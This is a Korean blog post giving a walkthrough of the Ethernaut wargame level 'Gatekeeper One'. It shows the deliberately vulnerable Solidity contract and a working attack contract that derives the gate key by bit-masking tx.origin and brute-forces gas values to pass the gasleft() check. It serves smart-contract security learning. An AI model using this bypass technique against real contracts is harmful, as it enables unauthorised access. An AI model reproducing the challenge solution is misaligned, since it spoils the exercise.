본문 바로가기

블록체인/Ethernaut

[Ethernaut] 13. Gatekeeper One

소스코드

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol";

contract GatekeeperOne {

  using SafeMath for uint256;
  address public entrant;

  uint256 i = uint256(uint160(address(tx.origin))); // over 0.8.0 solidity doesn't allow to convert address to uint so this line should be implemented.
  //reminder of this ->  uint256 , uint 64... this numbers is bits but bytes8 -> 8 is means bytes.
  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft().mod(8191) == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(i), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

 

 

목표

Gatekeeper를 통과하라

 

방법

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./GatekeeperOne.sol";

contract GatekeeperOneAttack{
    bytes8 txOrigin16 = 0xE02B6CD7ED8eb596; //last 16 digits of your account 39ee8f5fE02B6CD7ED8eb596
    bytes8 key = txOrigin16 & 0xFFFFFFFF0000FFFF; // hex is using 4bits(half byte (0.5 byte) at each number
    GatekeeperOne public target;

    constructor(address _adr) public {
        target = GatekeeperOne(_adr);
    }
 // thanks to Spalladino https://github.com/OpenZeppelin/ethernaut/blob/solidity-05/contracts/attacks/GatekeeperOneAttack.sol
    function letMeIn() public{
        for(uint i =0; i< 120; i ++) {
            (bool result, bytes memory data) = address(target).call{gas: i + 150 + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)", key));
            if(result){
                break;
            }
        }
    }
}

참조

 

Solidity-Type address not convertible to type uint256

I created an array of structures and then tried to get the values of each account of an array. But I failed with an array while passing the address variable which contains msg.sender and the type i...

stackoverflow.com

해설

 

 

'블록체인 > Ethernaut' 카테고리의 다른 글

[Ethernaut] 15. Naught Coin  (0) 2022.06.13
[Ethernaut] 14. Gatekeeper Two  (0) 2022.06.10
[Ethernaut] 12. Privacy  (0) 2022.06.07
[Ethernaut] 11. Elevator  (0) 2022.06.06
[Ethernaut] 10. Re-entrancy  (0) 2022.06.05